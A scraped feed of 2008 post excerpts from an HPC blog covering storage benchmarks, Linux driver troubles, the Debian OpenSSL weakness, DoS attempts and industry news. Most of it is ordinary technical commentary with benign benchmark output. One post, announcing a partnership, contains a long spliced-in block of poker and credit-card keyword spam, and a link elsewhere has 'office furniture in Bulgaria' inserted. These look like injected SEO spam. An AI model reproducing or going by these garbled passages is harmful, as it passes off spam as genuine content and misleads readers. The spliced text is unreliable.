https://blog.scalability.org/2008/05/next-jackrabbit-demo-unit-being-built/ … and already 2 groups want it for a month, and at least one other wants some benchmarks. Benchmarks we have agreed to run on it to date, including the usual suspects, as well as a windows server 2003 R2 file streaming BM, and some others. Some are asking us to test with various IB/10 GbE, do throughput studies, etc. There are a few new features which we will be running down over the next few weeks. https://blog.scalability.org/2008/05/you-know-you-are-old-when/ Wed, 28 May 2008 16:16:38 +0000 https://blog.scalability.org/2008/05/you-know-you-are-old-when/ your niece texts your wife over SMS, and she asks you “what does ‘KK’ mean”, and you have to google it. Hit my superego where it hurts … https://blog.scalability.org/2008/05/thoughts-on-ubuntu-804-lts-update/ Sat, 24 May 2008 16:44:40 +0000 https://blog.scalability.org/2008/05/thoughts-on-ubuntu-804-lts-update/ Well, after using it 3 weeks on my laptop, I am underwhelmed. 7.10 was much better. Everything just worked and there were no crashes. From Firefox 3.0-beta5 which broke about 50% of my plugins, through the sudden hard locks with the Verizon cell card (the other system did not do this), to the still completely borked video driver bit. Just try to install a Cuda graphics driver. You have to edit /sbin/lrm-video and comment out its “intelligence” as the other published methods simply do not work. https://blog.scalability.org/2008/05/the-economy-of-the-future-and-how-not-to-create-it/ Sat, 24 May 2008 15:11:10 +0000 https://blog.scalability.org/2008/05/the-economy-of-the-future-and-how-not-to-create-it/ Call this an object lesson in what not to do. Well, to be fair, the idea, the fundamental concept is excellent. It on target. Its the implementation details that turn this good idea into a waste of time, effort, and money for those competing. This is a post about Michigan, and its 21st century fund business plan competition. It is also a post about business conditions in the state. It is also a post about areas that Michigan is investing in, and areas it should be investing in (the two are not the same). https://blog.scalability.org/2008/05/high-user-load/ Sat, 24 May 2008 13:41:03 +0000 https://blog.scalability.org/2008/05/high-user-load/ Sorry folks, been incredibly busy for last 3 weeks. Very little time to comment on anything. Email box full of stuff I am working through. Will get back into this early this coming week. https://blog.scalability.org/2008/05/frightening-vulnerabilities/ Fri, 23 May 2008 21:00:57 +0000 https://blog.scalability.org/2008/05/frightening-vulnerabilities/ There was a bit of a kerfluffle last week over weak random number generators and SSL for Debian and Debian based distributions. This vulnerability made it actually easy to crack a key generated with the OpenSSL code. Think about the basis for this risk. SSL is based upon hard to guess integers which are built out of “entropy” (the CS definition, not the physical definition) to ensure “randomness” of some sort, and then used to construct keys. https://blog.scalability.org/2008/05/benchmarking/ Sun, 18 May 2008 20:02:50 +0000 https://blog.scalability.org/2008/05/benchmarking/ I have been a long proponent of meaningful benchmarks. Meaningful benchmarks are those that can be used with a reasonable level of predictive power to help in sizing and other issues. I am also a proponent of market/institutional knowledge … if you have been working in HPC for a while, you might have a clue as to how some systems run, some good design points, some really bad ideas (“hey lets run a cluster over pairs of SLIP lines”). https://blog.scalability.org/2008/05/data-size-growth/ Fri, 16 May 2008 17:56:19 +0000 https://blog.scalability.org/2008/05/data-size-growth/ I don’t have any hard numbers on this, but we have been hearing from various sources that data sets and data sizes are doubling every 6 to 9 months just in the Life Sciences market. Still looking for sources for this, but this anecdotal data suggests problems with retention, management, backup, data motion, … https://blog.scalability.org/2008/05/designing-to-fail/ Fri, 16 May 2008 17:45:13 +0000 https://blog.scalability.org/2008/05/designing-to-fail/ Every now and then we run into situations where someone just does not wish to succeed with their task or mission. Maybe they don’t like the mission, or the people, or the technology. They appear to be following the scope/plan of the mission, but their actions run counter to the goals that have been set out for them. Their ulterior motive is to set up the thing they were missioned to do to fail. https://blog.scalability.org/2008/05/bonnie-for-deskside-jackrabbit/ Fri, 16 May 2008 05:37:24 +0000 https://blog.scalability.org/2008/05/bonnie-for-deskside-jackrabbit/ This is a 15 drive JackRabbit unit (under $6500 USD the way we have it configured), where we carved 2 drives out for OS, and built a RAID6 across 12 drives, with 1 hot spare. Just finished the other tests. Pretty pleased with the results. Still have to do driver and kernel updates, but I want a simple baseline test. So here it is. root@crunch:~/jr# bonnie++ -d /big -u root -f Using uid:0, gid:0. https://blog.scalability.org/2008/05/testing-the-new-deskside-jackrabbit/ Thu, 15 May 2008 15:15:45 +0000 https://blog.scalability.org/2008/05/testing-the-new-deskside-jackrabbit/ This unit will be (eventually) the replacement for our older central server at our new space (woo-hoo!!!!). Right now, taking to the test track as it were. Simple machine: 16 GB ram, 4 cores, 7.5 TB of raw storage. In a deskside case. Works well for offices. This configuration would be right about $5900 list. RAID6 with one hot spare would drop it to 6TB for storage. Carving out 2 drives for OS (as I did) would bring it down to 5TB. https://blog.scalability.org/2008/05/handling-accidental-dosing/ Wed, 14 May 2008 15:59:21 +0000 https://blog.scalability.org/2008/05/handling-accidental-dosing/ We check logs to make sure things are working. Nothing like getting a huge number of failed requests to spoil your day. So some things stick out. Like 1 request per second for 10,000+ seconds from a single site. In this case, in France. Or a bot getting stuck in a calendar. Like the Microsoft bot. In the case of the former, it happened this morning. The easiest thing to do is simply to firewall them off. https://blog.scalability.org/2008/05/cuda-and-acceleration/ Tue, 13 May 2008 16:45:57 +0000 https://blog.scalability.org/2008/05/cuda-and-acceleration/ Took a Cuda class. Installed Cuda on my laptop. Well, 1.1 on my laptop. It has a Cuda class GPU (one of the things I made sure of when I bought it). 2.0 is in beta, and I think I will use that. A few minor glitches getting it going. That said, I have some simple impressions. Cuda is going to have significant market momentum by mid year. Unlike most of the other accelerator platforms, the SDK is free, and is easy to use. https://blog.scalability.org/2008/05/hp-gobbles-up-eds/ Tue, 13 May 2008 16:04:24 +0000 https://blog.scalability.org/2008/05/hp-gobbles-up-eds/ Looks like the rumored deal closed. HP now has a generally well regarded services team, with deep US government connections. Going to give IBM a run for its money. The question is whom else will tie up? And how? EDS isn’t an HPC vendor/provider, but HP is. Which suggests that if there is money to be made in “them thar hills” of HPC (and there is), that EDS may be retooling for this. https://blog.scalability.org/2008/05/a-rainy-sunday-morning-no-sun-shine/ Sun, 11 May 2008 16:38:20 +0000 https://blog.scalability.org/2008/05/a-rainy-sunday-morning-no-sun-shine/ This post at Storage Soupoffice furniture in Bulgaria eviscerates Sun’s moves in storage, and rips into thumper (x4500, which our JackRabbit competes with). Some of the writing mirrors some discussions I have had recently in terms of what has happened to Sun. Where are they going, what are they doing. https://blog.scalability.org/2008/05/long-standing-bugs/ Sun, 11 May 2008 05:09:47 +0000 https://blog.scalability.org/2008/05/long-standing-bugs/ Just updated laptop to Ubuntu 8.04. This is a Dell dual core unit, and while the phrase “remove it from my cold dead fingers” comes to mind (yeah, it is pretty good), some things in the new release don’t work well. Ok, well they do work better than before. But some of the “helper” bits are horribly broken. Suppose you want to install Cuda on this laptop (I did). And you want the new model Cuda aware driver (I did). https://blog.scalability.org/2008/05/ouch-hpc-and-it-companies-quarterly-results/ Thu, 08 May 2008 00:37:52 +0000 https://blog.scalability.org/2008/05/ouch-hpc-and-it-companies-quarterly-results/ Well, there is an economic slowdown going on, so we shouldn’t be surprised when Intel and Microsoft post slightly lower earnings. Some HPC companies are getting hammered though. SGI just announced earnings, or more correctly, losses for the quarter. You can read it online at Yahoo finance and others. They lost 14% today. Down into the $7/share region. ClearSpeed, who I have talked about before, is being hammered. See their graph (also at Yahoo finance) https://blog.scalability.org/2008/05/jackrabbit-updates/ Mon, 05 May 2008 01:54:46 +0000 https://blog.scalability.org/2008/05/jackrabbit-updates/ A number of new things happening on the JackRabbit front. First, 2 new models: the deskside unit with 15 drive bays, and the JackRabbit-M (JRM) unit with 24 drive bays. The deskside is targeted at groups running calculations on their desktops or small clusters, that need a local high performance low cost storage resource. The JRM unit is midrange between the JRS and the JR, with 12-24 TB raw capacity, and 1 to 2 RAID cards. https://blog.scalability.org/2008/04/more-from-bioit-world-expo-in-boston/ Wed, 30 Apr 2008 03:06:22 +0000 https://blog.scalability.org/2008/04/more-from-bioit-world-expo-in-boston/ Long day, spent most of it talking to people and groups. This is a small conference, attendance is ok, not heavy, not light. Saw lots of people I know/knew. Some I met today. Met Deepak from BBGM in person, and a number of people I have conversed with in the past through email/phone. Saw a few old colleagues. On the exhibits/discussions … some memes I see floating about, and have been hearing for a while. https://blog.scalability.org/2008/04/bioit-world-2008/ Tue, 29 Apr 2008 18:49:55 +0000 https://blog.scalability.org/2008/04/bioit-world-2008/ Short … From blackberry. A number of people have noted what we have been observing, that life science users don’t want to pay for performance. Business models predicated upon higher price for perceived value of being faster won’t fly well. Similarly there is even more interest in storage. https://blog.scalability.org/2008/04/ok-the-automatic-update-is-kinda-strange-but-it-works/ Sun, 27 Apr 2008 01:21:04 +0000 https://blog.scalability.org/2008/04/ok-the-automatic-update-is-kinda-strange-but-it-works/ 20-30 mouse clicks, and I went from 2.5 to 2.5.1. There is a bug in the wizard, will file it later on. but … it works. Easily. BTW: if you haven’t got the news, update your Wordpress 2.5 to 2.5.1 … Now. As in immediately. Some sort of bad bug with live exploit apparently in the wild. https://blog.scalability.org/2008/04/wherefore-art-thou-oh-earnings/ Fri, 25 Apr 2008 00:06:21 +0000 https://blog.scalability.org/2008/04/wherefore-art-thou-oh-earnings/ I had expected Microsoft to announce another record quarter after Intel announced their results. They two did go hand in hand. Well, it turns out that Microsoft did not do as well as anticipated. Nor did Intel. Not that there is anything wrong with Microsofts' $4.39B earnings on revenue of $14.3B. Nothing at all. Very good revenue. We would like something like this on our day job. Maybe sell 1.4M JackRabbits. https://blog.scalability.org/2008/04/wherefore-art-thou-open-source-solaris-community/ Thu, 24 Apr 2008 21:39:40 +0000 https://blog.scalability.org/2008/04/wherefore-art-thou-open-source-solaris-community/ Ted T’so did a good job of analyzing the current poor state of open source solaris as a community. He points to a number of community building and engineering failures (such as building a mercurial repository … really it is easy). He points to the marketing and business case issues. On a humorous note, he points to the response of a Solaris engineer to posts by David Miller on why Linux outperforms Solaris on some microbenchmarks. https://blog.scalability.org/2008/04/liveleak-and-platform-dependence/ Thu, 24 Apr 2008 12:33:36 +0000 https://blog.scalability.org/2008/04/liveleak-and-platform-dependence/ [updated] Liveleak staff support proved to be quite helpful. The issue may be less of a platform dependence as I had presumed, and more of a flash and (format/video) coding issue. [update 2] Looks like it may have been a problem in the player for flash8 video. They fixed it, within about 3 hours of my reporting it. That is the sort of service we like to deliver to our customers. https://blog.scalability.org/2008/04/interesting/ Wed, 23 Apr 2008 20:54:11 +0000 https://blog.scalability.org/2008/04/interesting/ At Storagemojo, Robin Harris has an interesting take on the evolution of storage systems. This is interesting to us, given how much bandwidth we can provide from our JackRabbit storage systems. The issue for us is finding the right protocol to pull 750 MB/s per small unit, and distribute this to consumers of the data. https://blog.scalability.org/2008/04/yeah-ok-whatever/ Mon, 21 Apr 2008 22:25:24 +0000 https://blog.scalability.org/2008/04/yeah-ok-whatever/ So I checked logs. Like I always do, to make sure things aren’t broken. Since yesterday, someone from Italy, specifically IP address 84.220.89.155 has been attacking our infrastructure. Their attack was a DoS. Try to bog our servers down way past the point that they could respond. They were not successful. Their ISP has been notified. Hopefully they will take action. I wonder if we need to start considering DRDOS … Distributed Response to DoS. https://blog.scalability.org/2008/04/new-old-spammer-tactic/ Mon, 21 Apr 2008 15:42:41 +0000 https://blog.scalability.org/2008/04/new-old-spammer-tactic/ Been getting quite a few mails of a bounce/spam rejection from external mailers. Turns out someone is using my day job email with random spam mail. Some sort of filter poisoning? Prevent our mails from getting to others? Obviously this must have an economic connection. But this is so specific, the only “logical” connections I can think up require donning a tin foil hat … https://blog.scalability.org/2008/04/article-on-mpi-in-30-minutes/ Sat, 19 Apr 2008 00:22:30 +0000 https://blog.scalability.org/2008/04/article-on-mpi-in-30-minutes/ is up at Linux Magazine. See here for more details. First: There are formatting errors, and a few spelling errors. This is a problem, I will construct an errata and send them a link. Second: I am told it is also in print form. And it is “severely edited for space at the expense of correctness” (hows that for a euphemism) up relative to the online form. I haven’t seen the print version yet, will go buy the mag tomorrow. https://blog.scalability.org/2008/04/some-interesting-tidbits/ Fri, 18 Apr 2008 16:04:10 +0000 https://blog.scalability.org/2008/04/some-interesting-tidbits/ A server reliability report is out, comparing OSes and machines. Had a few surprises in it. They did note that Redhat and others had good uptime. [spam@scalableinformatics.com:~] 1 >uptime 11:43:37 up 462 days, 21:23, 11 users, load average: 0.25, 0.20, 0.31 [spam@scalableinformatics.com:~] 2 >cat /etc/redhat-release CentOS release 4.3 (Final) that email is a real email address, and yes, if a spammer sends to it, our spam filtering will get better … https://blog.scalability.org/2008/04/yes-and-no/ Fri, 18 Apr 2008 00:11:06 +0000 https://blog.scalability.org/2008/04/yes-and-no/ Yes, we were knocked off the air for a bit today. No, it was not from load, hackers, etc. It was from a successful php upgrade. A long overdue one. You may have noticed the fancy coloration. Really, this happened automagically. I didn’t do it … I swear! The issue was an errant plugin, that happened to die in a specific corner case. That got tripped. And stayed tripped. A quick “mv " saved the day. https://blog.scalability.org/2008/04/cloud-computing-for-hpc/ Wed, 16 Apr 2008 14:52:26 +0000 https://blog.scalability.org/2008/04/cloud-computing-for-hpc/ John West of Inside HPC wrote a great response to my response toDeepak of BBM. My arguments were that to enable cloud computing to work economically, one has to consider all of the costs (infrastructure, pipes, computing, people, …). John’s response was that yes, and sometimes you need an act of congress to get even moderate sized infrastructure. I probably need to clarify my thoughts. I am a firm believer that this sort of computing will likely happen. https://blog.scalability.org/2008/04/what-is-going-on-with-sgi/ Wed, 16 Apr 2008 14:51:11 +0000 https://blog.scalability.org/2008/04/what-is-going-on-with-sgi/ We are hearing about SGI wins on HPCwire and other venues. These should be good, and reflective in the stock price. [ ](http://ichart.finance.yahoo.com/z?s=SGIC&t=2y&q=l&l=on&z=l&p=s&a=v&p=s) But they aren’t. SGI’s market cap is 90.6M as of this morning, with 1500+ employees. Trailing 12 month revenue is 415M. They have 85M of debt. About 33.2M in cash. Something has got to give here. As they stopped making their own stuff, COGS increased, as their suppliers made more margin off completed product. https://blog.scalability.org/2008/04/our-anti-comment-spam-filter-was-targetted-last-night/ Tue, 15 Apr 2008 13:20:43 +0000 https://blog.scalability.org/2008/04/our-anti-comment-spam-filter-was-targetted-last-night/ Apparently someone out there really doesn’t like how effective the anti-spam effort was. Go figure. Update: Well looks like we weren’t the only one. The SK2 RBL was knocked offline. Fixed the problem on our end, looks like someone tested the scalability of the RBL back end. https://blog.scalability.org/2008/04/replaced-networkmanager-with-wicd-on-my-laptop/ Tue, 15 Apr 2008 03:56:11 +0000 https://blog.scalability.org/2008/04/replaced-networkmanager-with-wicd-on-my-laptop/ Wow… what a difference. I am typing this on my laptop after firing up wireless with our WPA2 key. Through a nice simple panel. Wireless has not worked this easily in Linux since … well … ever. I used to think wireless in windows was easy, though some of the connection managers are annoying. This connected right away, no problems. Showed me which access points were available. Allowed me to set up auto detection profiles. https://blog.scalability.org/2008/04/an-interesting-bit-on-it-shops/ Sun, 13 Apr 2008 17:18:20 +0000 https://blog.scalability.org/2008/04/an-interesting-bit-on-it-shops/ From /., they linked to this blog post. Interesting take. What I note is that like all infrastructure, IT is viewed as a cost center, and is often relegated to cost minimization practices. Sometimes these are a good thing. Sometimes they are a very bad thing. Real talent costs money. To a very large extent, you get what you pay for. Getting competent generalist people from a low cost body shop is possible, though more than a few of them may be paper MCSEs. https://blog.scalability.org/2008/04/good-article-with-tangential-relevance-to-hpc/ Sat, 12 Apr 2008 16:12:34 +0000 https://blog.scalability.org/2008/04/good-article-with-tangential-relevance-to-hpc/ This was linked from Drudge or one of the other sites. Some of the articles writing is a bit on the biased side, and there are some things I don’t quite agree with. However, the thrust of the article (ignoring the title and other elements) is summarized in the last few paragraphs. Yes. Absolutely. You sink, or you swim. In HPC, the markets are growing rapidly. And they are shifting rapidly. https://blog.scalability.org/2008/04/that-they-are-addressing-this-publicly-speaks-volumes/ Sat, 12 Apr 2008 15:10:23 +0000 https://blog.scalability.org/2008/04/that-they-are-addressing-this-publicly-speaks-volumes/ … it means that they have to. That many others have asked. That this is a concern. Specifically I am talking about the MySQL acquisition by Sun. The article talking with the current VP of DB (former CEO of MySQL AB) is attempting to put to rest these fears. Unfortunately, the headline/title is designed to inject conflict. The title of this bit is “Mickos, As New Sun Exec: Linux Will Stay In LAMP” This looks like an attempt by the author or editorial staff to inject controversy. https://blog.scalability.org/2008/04/and-it-is-all-so-obvious-to-me-now/ Fri, 11 Apr 2008 21:17:57 +0000 https://blog.scalability.org/2008/04/and-it-is-all-so-obvious-to-me-now/ Yeah. 1 day with a Blackberry 8830. One day. Thats all I needed. I am sold. Best phone/device I have used. The Nokia E61 was close, but it didn’t work in the US on a 3G network. Palm Treo was good, but had too many issues. The windows hand helds are, well, not quite there. Windows mobile 6 is a huge improvement of windows mobile 5. That said, WM6 is IMO significantly behind BlackBerry on usability and performance. https://blog.scalability.org/2008/04/i-am-now-part-of-the-collective/ Fri, 11 Apr 2008 04:15:23 +0000 https://blog.scalability.org/2008/04/i-am-now-part-of-the-collective/ Yes, I got a BlackBerry. I had the Verizon xv6800 phone as a replacement for the abominable Motorola Q, which replaced a Treo 650. The Treo was ok, 2.5 day battery life with reasonable usage. It just rebooted and crashed at random. Went through 4 hand sets. The Q was terrible. Absolutely horrible. The 18 hour battery life was annoying. I thought the xv6800 would be better. Well, I was half right. https://blog.scalability.org/2008/04/knock-knock-knocking-on-petaflops-door/ Thu, 10 Apr 2008 04:47:28 +0000 https://blog.scalability.org/2008/04/knock-knock-knocking-on-petaflops-door/ This article on HPCwire was a bit of an inspiration … (with apologies to Bob Dylan, and Guns and Roses) Mama take this cluster from me I can’t run on it anymore It’s getting slow too slow for me Feels like I’m knockin' on petaflops door Knock-knock-knockin' on petaflops door Knock-knock-knockin' on petaflops door Knock-knock-knockin' on petaflops door Knock-knock-knockin' on petaflops door Mama take my single cores from the rack I can’t run on them anymore That cold data center air is comin' down Feels like I’m knockin' on petaflops door Knock-knock-knockin' on petaflops door Knock-knock-knockin' on petaflops door Knock-knock-knockin' on petaflops door Knock-knock-knockin' on petaflops door … ok, I’ll keep my day job. https://blog.scalability.org/2008/04/old_stuff/ Wed, 09 Apr 2008 20:48:40 +0000 https://blog.scalability.org/2008/04/old_stuff/ Ok … a nice article on HPC startup issues (really IT startup issues) at insidehpc. This is a good article. Makes the point that people are willing to spend on incremental change, and the revolutionary change requires a serious investment from (multiple) big players. There are other reasons I like this article, but I won’t go into those here. The point that Christopher makes is spot on. Exactly right. Innovation needs to make things simply drop in and work, with as little pain as possible. https://blog.scalability.org/2008/04/gonna-need-to-play-with-w2k8-at-some-point/ Wed, 09 Apr 2008 20:09:51 +0000 https://blog.scalability.org/2008/04/gonna-need-to-play-with-w2k8-at-some-point/ I want to play with SUA and see how it fares against Cygwin. This is an issue for previous versions of Windows … SUA isn’t available, or SFU is intrusive (I won’t install it on my laptop due to all the things it wants to touch). This arose from conversations in the day job yesterday. Still have to pull down W2k8 to see if we can run it on JackRabbit. I want to get real builds of code going so that we can see if there is any advantage to running in SUA vs Cygwin. https://blog.scalability.org/2008/04/in-search-of-meaningful-benchmarks/ Wed, 09 Apr 2008 00:51:42 +0000 https://blog.scalability.org/2008/04/in-search-of-meaningful-benchmarks/ Well, mostly I am interested in video/media streaming, real financial analytical/data-flow benchmarks (everyone does Black-Sholes, but is this the most meaningful benchmark to do?), and things from our friends in the petroleum industry. We want to put our JackRabbit storage systems to the test(s) as it were. One can run IOzone and bonnie++ so many times … https://blog.scalability.org/2008/04/so-how-do-you/ Tue, 08 Apr 2008 04:26:17 +0000 https://blog.scalability.org/2008/04/so-how-do-you/ … convince your cluster users not to run as root user? Yet another story for beer-time. Any advice out there on how to explain how bad (really really bad) of an idea this is? I have tried, but they seem to not make the connection between this and spurious failures of jobs. Testing the system as a normal user shows it runs fine. There is a joke this reminds me of. https://blog.scalability.org/2008/04/cots-supercomputing-a-danger/ Mon, 07 Apr 2008 14:44:46 +0000 https://blog.scalability.org/2008/04/cots-supercomputing-a-danger/ An article on HPCwire suggests that we live in dangerous times. Specifically hmmm … We have limited choices due to economics and market evolution. Way back when RISC was still hot, many people ignored those pesky CISC machines coming up. When those pesky CISC machines started putting down benchmarks of 0.25-1.25 of the performance of the RISC machines, at 1/10th their cost, people started to take serious interest in using them. https://blog.scalability.org/2008/04/the-gridtm-with-extra-hype-no-information-content/ Mon, 07 Apr 2008 12:21:55 +0000 https://blog.scalability.org/2008/04/the-gridtm-with-extra-hype-no-information-content/ I read an “amusing” piece this past weekend, where people connected with the LHC project at CERN talked about how they would do data distribution and computation. Basically they are building their own data network, and doing some interesting bits with large volume data caching/distribution. Ok. Then we get this. You know, the “Grid” will make the internet obsolete. Oh bother. Let me ask a simple question of said media outlets. https://blog.scalability.org/2008/04/yup-what-she-said/ Mon, 07 Apr 2008 01:23:51 +0000 https://blog.scalability.org/2008/04/yup-what-she-said/ In a good Freep article today, Katherine Yung described some of the dilemmas surrounding raising capital in the state of Michigan. Unfortunately for the state, the political echelon is targetting “advanced manufacturing”, as a priority, among several others. Later on Ms. Yung notes: Well, there is truth to that. But 2 years ago, during the initial 21st century fund effort, 700+ entrants applied for funds. Probably close to 400 companies. Quite a few would be called startups. https://blog.scalability.org/2008/04/free-advise-for-entrepreneurs/ Mon, 07 Apr 2008 00:31:07 +0000 https://blog.scalability.org/2008/04/free-advise-for-entrepreneurs/ Not legal advice, go speak with a lawyer if you want that. And understand that they have a vested interest in an alternative position to what I say below. When forming a startup, do not, unless you are a glutton for punishment, use an LLC structure, and run as far away, as rapidly as possible, from people who suggest you should use it. Lawyers love LLCs as you have to keep coming back to them for any change. https://blog.scalability.org/2008/04/yeah-well-ok/ Fri, 04 Apr 2008 04:44:02 +0000 https://blog.scalability.org/2008/04/yeah-well-ok/ page counter is broken. I put in StatPress. 1800 page visits yesterday (started at 10am) 2218 page visits as of midnight. Sheesh. This matches the logs and the post-read counts at the bottom. If you ask me, I do not have a clue as to what the page count is counting. So I am going to remove it soon from the right sidebar. What I can tell is, it is about 1 order of magnitude off. https://blog.scalability.org/2008/04/hrmmm/ Wed, 02 Apr 2008 23:25:46 +0000 https://blog.scalability.org/2008/04/hrmmm/ So we have this counter plugin. And it counts slowly. I am not sure why. Looking over our logs, it seems that we have quite a bit of activity, though looking at the counter, it doesn’t look like it. So, I installed StatPress. Since 10am this monring (7pm now) we have had over 1000 visits. Yet the counter plugin reports barely 150 visits. These 1000 visits are about 1/2 RSS feeds, page views, and related. https://blog.scalability.org/2008/04/confirmation-on-tc-issue/ Wed, 02 Apr 2008 14:59:33 +0000 https://blog.scalability.org/2008/04/confirmation-on-tc-issue/ I had previously noted that some T&C;’s we run into are, well, not fit for company consumption. This isn’t the only aspect of of the HPC market … clusters as commodities and other related phenomenon lead to extremely thin margins. As Doug at Lead Follow or … notes in one of his posts on comments from an Intel person : Yes Doug, I do. We walked away from a particularly onerous set of T&C. https://blog.scalability.org/2008/04/speaking-about-lnxi-and-sgi/ Wed, 02 Apr 2008 14:00:36 +0000 https://blog.scalability.org/2008/04/speaking-about-lnxi-and-sgi/ John at InsideHPC blog has a brief writeup on an article I refrained from commenting on a few days ago. In John’s writeup, he (sarcastically) notes that going private didn’t help LNXI. Last I remember, LNXI was never public, they wanted it to be, but I don’t think they ever hit an IPO. That said, John’s writeup excerpts some of the AP article, with brief comments. My comments on the article are, basically, what took the investors so long? https://blog.scalability.org/2008/04/a-subject-touched-on-with-the-lnxi-discussions/ Tue, 01 Apr 2008 19:49:23 +0000 https://blog.scalability.org/2008/04/a-subject-touched-on-with-the-lnxi-discussions/ I had talked briefly about terms and conditions of bids. We strive in the day job, to make sure ours are, shocking as it may be, reasonable. That is, they are not onerous, we don’t put thumbscrews to our customers, we simply ask them to pay on time or pay late fees, and agree to specific things that prevent misunderstandings in the future. We have it in our heads that somehow angering customers is a Bad Thing&tm; This said, you should see some of the RFP T&C; we are asked to agree to. https://blog.scalability.org/2008/04/hola-barcelona/ Tue, 01 Apr 2008 14:14:36 +0000 https://blog.scalability.org/2008/04/hola-barcelona/ Rumor has it, on or about 4-April, we should be seeing some new chips. Will try to confirm. https://blog.scalability.org/2008/03/site-upgraded-wp25/ Mon, 31 Mar 2008 01:12:25 +0000 https://blog.scalability.org/2008/03/site-upgraded-wp25/ This was, by far, the most painless upgrade of a complex software system I have ever done. That said, I don’t have a coverage test running to make sure everything is working, so please, by all means, kick the tires, make sure it all works. https://blog.scalability.org/2008/03/the-silicon-chip-is-falling-the-silicon-chip-is-falling/ Fri, 28 Mar 2008 14:02:39 +0000 https://blog.scalability.org/2008/03/the-silicon-chip-is-falling-the-silicon-chip-is-falling/ on /. there is a link to a story on the imminent death of silicon semiconductor as a basis for computing. quoting … These predictions have a history of being wrong. This is not to say that silicon will go on forever. It is an indirect bandgap semiconductor which dissipates some energy as phonons (sound / heat waves in the material, think of hitting an iron bar, and the tones it makes, thats energy you imparted to sound heat in the material). https://blog.scalability.org/2008/03/need-to-understand-the-sgi-rasc-blast-benchmark/ Fri, 28 Mar 2008 06:04:16 +0000 https://blog.scalability.org/2008/03/need-to-understand-the-sgi-rasc-blast-benchmark/ Way back when, we developed a little scalable app called CT-BLAST, that ran BLAST in parallel on clusters. I had been thinking about re-doing this outside SGI when I first learned of MPI-BLAST some years ago. Since then many folks have tried accelerating BLAST. They do this because BLAST consumes so many cycles. Sadly, BLAST doesn’t seem to drive purchases … That said, some people continue to target this as a core market. https://blog.scalability.org/2008/03/and-we-have-a-winner/ Fri, 28 Mar 2008 01:21:01 +0000 https://blog.scalability.org/2008/03/and-we-have-a-winner/ Way way back, long long ago, I used mdbnch benchmark to test machines. I was amazed when SGI’s R8k got this done in under 20 seconds. The sub 15 second R10/R12k results were awesome. The sub 10 second Alpha results were amazing. That was about a decade ago. For a while, Opterons and Xeons have been in the 2-3 second range. Some recent chips were in the 1.4 second range. I always wondered when we would crack one second. https://blog.scalability.org/2008/03/a-definition-of-funny-or-when-context-sensitive-adverts-are-not-appropriate/ Mon, 24 Mar 2008 14:03:03 +0000 https://blog.scalability.org/2008/03/a-definition-of-funny-or-when-context-sensitive-adverts-are-not-appropriate/ Working through my Gmail account, cleaning things up (monday habit), I get over the the spam box. I don’t like spam. Not to many people I know like spam. Thats spam the mail, not spam the meat. This is important. So I blow away all the spam. And what should appear in the context sensitive advertising above the main text area (tastefully sized, unlike Yahoo mail where the advert is most of the page … cough cough …) but … https://blog.scalability.org/2008/03/why-we-still-need-fortran-and-why-this-wont-change/ Sun, 23 Mar 2008 20:10:16 +0000 https://blog.scalability.org/2008/03/why-we-still-need-fortran-and-why-this-wont-change/ I saw a link to an article from /. on Wodehouse’s ideas in writing prose used for refactoring code. For those not in the know, code refactoring is the process of rewriting a code to be simpler, or more efficient, more expressive of the needs. What has this to do with Fortran, and in the bigger picture, HPC? Everything. Fortran has not been in vogue in CS departments in this century, nor for the latter portion of the past century. https://blog.scalability.org/2008/03/exciting-news/ Tue, 18 Mar 2008 16:16:21 +0000 https://blog.scalability.org/2008/03/exciting-news/ Well, you may have heard it already from other sources, but Scalable Informatics is now working with Wipro Technologies to provide high performance computing services, development, and support. We are quite excited by this, and in speaking to our current customers, we are getting good positive responses on this development. More pai gow pokeronline poker schoolpoker onlinefree texas holdem,free no limit texas holdem,free texas holdem poker downloadonline poker cheatingfree online texas holdem gamestrip poker gamevideo poker gamefree poker online,free online poker no download,free online pokerfree online texas hold emfree texas holdem poker site,free texas holdem poker,free texas holdem poker gameomaha hi lo,omaha hi lo strategy,hi limit lo omaha playpoker moneyfree poker,free poker game download,free on line pokerfree texas holdem poker playbest online pokerplay money pokertexas holdem electronic game,texas holdem game,download game holdem poker texasfree online 7 card studonline betting pokerpoker game downloadfree online poker tightpokerstrip poker downloadinternet poker gamefree poker downloadfree online video poker7 card stud low,limit 7 card stud,7 card studtexas holdem poker,texas holdem poker strategy,how to play texas holdem pokerplay texas holdem free,texas holdem,free texas holdem downloadstud poker,7 card stud poker rule,seven card stud pokeramerica card mbna credit bank,bank of america credit card,bank of america credit card processingcard credit number validationno credit cardvisa online credit card payment,online credit card payment solution,online credit card payment1st premier bank credit card,bank card credit premier,first premier bank secured credit cardnational city bank secured credit card,bank card city credit nationalno credit history credit card,card credit history no visa,card credit credit get history nolow interest credit card uk0 balance transfer credit cardcredit card debt relief,card credit debt disabled relief,card credit debt debt relief stopchase credit card online payment,chase credit card,chase credit card onlinechase student credit card,card chase credit student,card chase credit platinum studentbank card credit orchard payment0 application apr card credit,0 apr credit card applicationuk credit card companycard consolidate credit debtcard credit program reward,best card credit program reward,credit card reward program0 credit card,0 credit card rate,0 percent interest credit cardapply business card creditcard credit debt help xxasdf later. https://blog.scalability.org/2008/03/higher-than-average-velocity-these-days/ Tue, 18 Mar 2008 16:10:23 +0000 https://blog.scalability.org/2008/03/higher-than-average-velocity-these-days/ … been on 2 sets of airplanes in last 96 hours, will be on another tomorrow. Sorry about the posting delays … https://blog.scalability.org/2008/03/and-8-simultaneous-buffered-threads-with-32-gb-of-files-over-iscsi/ Wed, 12 Mar 2008 07:16:33 +0000 https://blog.scalability.org/2008/03/and-8-simultaneous-buffered-threads-with-32-gb-of-files-over-iscsi/ root@jrs8:/home/scalable/io-bm# mpirun -np 8 ./io-bm.exe -n 32 -f /big/file -w [tid=0] each thread will output 4.000 gigabytes [tid=0] using buffered IO [tid=2] each thread will output 4.000 gigabytes [tid=0] page size ... 4096 bytes [tid=0] number of elements per buffer ... 2097152 [tid=5] each thread will output 4.000 gigabytes [tid=5] using buffered IO [tid=5] page size ... 4096 bytes [tid=2] using buffered IO [tid=2] page size ... 4096 bytes [tid=3] each thread will output 4. https://blog.scalability.org/2008/03/and-some-bonnie-numbers-for-same-unit/ Wed, 12 Mar 2008 07:01:48 +0000 https://blog.scalability.org/2008/03/and-some-bonnie-numbers-for-same-unit/ root@jrs8:/opt/scalable/bin# bonnie++ -u root -d /big -f Using uid:0, gid:0. Writing intelligently...done Rewriting...done Reading intelligently...done start 'em...done...done...done... Create files in sequential order...done. Stat files in sequential order...done. Delete files in sequential order...done. Create files in random order...done. 